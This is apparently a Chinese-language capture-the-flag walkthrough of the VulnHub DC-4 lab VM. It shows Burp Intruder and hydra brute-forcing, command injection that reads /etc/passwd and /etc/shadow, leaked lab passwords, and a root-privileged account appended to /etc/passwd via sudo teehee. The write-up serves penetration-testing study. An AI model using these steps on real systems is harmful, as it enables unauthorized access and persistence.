下载地址https://download.vulnhub.com/dc/DC-4.zip
信息收集
靶机ip 192.168.146.142
sudo arp-scan -l
看一下端口开放情况、操作系统版本
nmap -A -sV(服务版本扫描) 192.168.146.142
开放了22(ssh)和80端口
host key是主机(server)密钥,其中有一对公私钥
nginx 1.15.10 是web服务器(cms安装在web服务器上)
-O操作系统探测、为linux 3.2-4.9
访问一下网站
安装Wappalyzer插件,查看cms信息,但是没有cms信息
一个网站可以只使用Web服务器而不使用传统的CMS。例如,网站可能是由静态文件组成,不需要后端数据库或复杂的CMS来管理内容。在这种情况下,Web服务器直接提供静态HTML、CSS和JavaScript文件给用户。
看一下网站有无sql注入漏洞
sqlmap -u 'http://192.168.146.142/?id=1'
没有注入点
暴力破解出用户名和密码
用burpsuite
Intruder:此模块常用于漏洞利用、暴力破解等
burpsuite 启动软件
1)抓包
设置火狐浏览器的代理
Proxy模块主要提供抓包及拦截功能,默认代理为127.0.0.1:8080
去dc4网站随便输入用户名和密码、但不要提交
点击Intercept is off
然后在dc4网站提交
右键 Send to Intruder
然后到 Intruder模块 选择攻击类型 Sniper狙击者模式
Cluster bomb模式 (集束炸弹模式) 会把用户名和密码的所有可能都遍历
bp默认将所有变量视为爆破对象 只爆破密码 用户名是admin(网页显示是admin information login system)
在123前后都点击add $
Payloads(设置攻击载荷)
Payload Sets:可以定义一个或多个有效负载集。每个有效负载集都可以使用各种有效负载类型,并可以以不同的方式自定义每种负载类型
Payload Set(负载集):个数取决于position中设置的爆破对象个数及攻击类型
Payload type(负载类型):较为常用的有Simple list(简单列表)、Runtime file(运行文件)等
然后load 一个字典 (一般是自己猜测的数据)
下面一行add可以加载字典
我是load 一个字典 /usr/share/john/password.lst
然后点start attck
看一下长度最特殊的 密码是happy
先点击Intercept is on 再试着登录 能登录
有三个命令,都能执行,试试抓包修改命令
开启抓包、然后点run
看到命令行 ls+-l ( +是设置的命令格式)
试着修改命令 cat+/etc/shadow
右键点击 send to Repeater(重放攻击)
然后点send
没有结果
换一条命令cat+/etc/passwd
有3个用户名
charles jim sam
系统账号的shell使用/sbin/nologin,此时无法登录系统,即时给了密码也不行。
所谓“无法登录”,指的是仅是这个用户无法使用bash或者其他shell来登录系统而已,并不是说这个账号就无法使用系统资源
/bin/false:/bin/false
什么也不做只是返回一个错误状态,然后立即退出。将用户的shell
设置为/bin/false
,用户会无法登录,并且不会有任何提示
/nonexistent:/bin/false
得到三个用户名
查看下这些用户的文件
ls+-al+/home/charles
没啥有用的
看一下 jim目录的文件
有2个目录buckups mbox
查看目录buckups、可以看到一个旧密码文件
查看cat+/home/jim/backups/old-passwords.bak
把这些密码复制到一个字典里passwdlist.txt
用户jim写到users.txt
暴力破解
把burp点击 is on 关掉抓包
hydra -L users.txt -P passwdlist.txt ssh://192.168.146.142:22
-o | 输出文件 |
-f | 破解成功(一次)后就退出 |
拿到jim账号的密码 jibril04
远程登录ssh jim@192.168.146.142
看一下剩下没查看的两个文件
mbox说有一封来自root的信 内容是this is a test
test.sh会输出一些语句
进入/var/spool/mail
charles告诉了自己的密码
^xHhA&hvim0y
登录用户su - charles
查看系统版本信息
#1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19)
#1说明这是内核版本的一个修订版
SMP 表示这是一个对称多处理系统的内核,每个CPU共享全部资源,无主次或从属关系
Debian 4.9.30-2+deb9u5 指出内核是来自Debian操作系统的一个版本,deb9u5 表示这是Debian 9(Stretch)的第5个更新,(2017-09-19) 是内核编译日期
i686:系统的硬件架构是32位的Intel x86架构
GNU/Linux:系统是使用GNU工具和Linux内核构建的
先试试suid提权
suid提权,已知的具有SUID权限的二进制可执行文件大体有:nmap vim find bash more less nano cp awk 这些能提供一个suid权限的shell
find / -perm -4000 2>/dev/null寻找 4000权限的文件,不显示其他的错误信息相当于过滤
有test.sh
试着修改test.sh
#!/bin/bash
exec /bin/bash
让它能提供一个suid权限的shell
charles不能修改test.sh这个文件
退出charles登录 exit
jim也不能删除修改
结尾成功提权了、我就回来把test.sh修改了、执行 但是不行哈
试试git提权
执行命令sudo -l列出可以通过sudo执行的所有命令,有git
原理是git配置不当存在溢出,溢出的部分如果输入一个交互式窗口就会有交互,类似于suid那样,暂时拥有root,又写了一个交互,就真的有了root的交互
切回了用户charles
有一个teehee命令(文本编辑器)
查看一下用法
不覆盖原有文件,能向里面加入新的数据
/etc/passwd是存放用户的文件,可以通过修改文件来添加用户,文件格式为
[注册名]:[口令]:[用户标识号]:[组标识号]:[用户名]:[用户主目录]:[命令解析程序]
口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限
先openssl passwd -1 生成加密的密码:-1表示使用MD5算法对密码进行加密
oooo加密后为
$1$mnY4NIao$r.DbgAFtQ5kkY4cscczTa.
root:x:0:0:root:/root:/bin/bash
参照格式写
oooo:$1$mnY4NIao$r.DbgAFtQ5kkY4cscczTa.:0:0:root:/root:/bin/bash
登录用户oooo密码为oooo
拿到flag